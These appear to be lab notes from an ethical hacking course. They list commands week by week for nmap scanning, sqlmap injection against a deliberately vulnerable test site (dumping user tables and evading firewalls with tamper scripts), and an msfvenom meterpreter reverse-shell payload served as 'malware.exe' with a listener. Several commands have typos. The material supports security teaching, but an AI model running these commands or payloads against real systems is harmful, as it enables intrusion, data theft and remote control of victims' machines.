Week 1:

Install vmware, kali and window 10

Firewall setting:

sudo apt install ufw sudo ufw enable sudo ufw default allow sudo ufw default deny incoming sudo ufw allow port/protocol sudo ufw allow 4444/tcp

ssh setting:

sudo systemctl start ssh sudo systemctl enable ssh sudo systemctl status ssh

Week 2:

Nmap:

nmap -sP 192.168.1.0/24

nmap -sS -PS --exclude 192.168.1.154 192.168.1.1/24

nmap -sV 192.168.1.154

nmap -sV --version-intensity 2 192.168.1.152

nmap -sS -PS --data-length 300 192.168.1.154

nmap -p445 192.168.1.154

nmap -p 445,80,443,139 192.168.1.154

nmap -p[1-1024] 192.168.1.154

Reconnaissance Tools:

Zenmap exercise

nslookup <domain name>

OpenSource Intelligence Framework (https://osintframework.com/)

Sign Up For a Free Account Under Shodan.io

Google Hacking Database:

filetype:pdf site:attack.mitre.org APT

Week 3:

Setting up OpenVAS and Nessus on Kali Linux

Week 4:

ARP poisoning:

Target 1: default gateway

Target 2: ip v4 WireShark

http://testphp.vulnweb.com/login.php

SQL MAP:

sqlmap -u "http://testphp.vulnweb.com/" --crawl=3 --batch --level=1

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -dump sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --random-agent -dbs sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -dump sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -dump
```

Task 7: Exploiting Vulnerabilities Fetch Database Details

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -current -user --current-db --hostname --batch

Extract User Data

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1-D acuart-T users—dump List Database Tables

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1-D acuart—tables **DumpAll Data**

sqlmap-u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -dump -all

Task 8: Bypassing Security Using Headers Use custom headers to bypass security filters.

sqlmap -u http://testphp.vulnweb.com/ --crawl 3 --headers="Referer:abc.com" -v 4 --batch Use mobile user-agent for evasion.

sqlmap -u http://testphp.vulnweb.com/ --crawl 3 -mobile -v 4

Task 9: Tampering Payloads to Evade Firewalls Modify payloads to bypass security mechanisms.

List Available Tamper Scripts

sqlmap --list-tampers

Use a Specific Tamper Script

sqlmap -u http://testphp.vulnweb.com/ --crawl 3 --tamper=base64encode -v 3 --batch

Test Forms for SQL Injection

sqlmap -u http://testphp.vulnweb.com/login.php --forms

Week 5:

ip a | grep inet

Open another terminal (Kali):

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.205 LPORT=5555 -f exe - o /var/www/html/malware.exe

http://192.168.100.205/malware.exe

sudo msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST192.168.100.24

set LPORT 5555

exploit

Sysinfo

Ps

shell

Screenshot

Week 6:

Cross Site Scripting:

DVWA

Beef

<u>Week 7:</u>

BurpSuite:

burpsuite

Week 8:

SocialEngineeringAttack:

settoolkit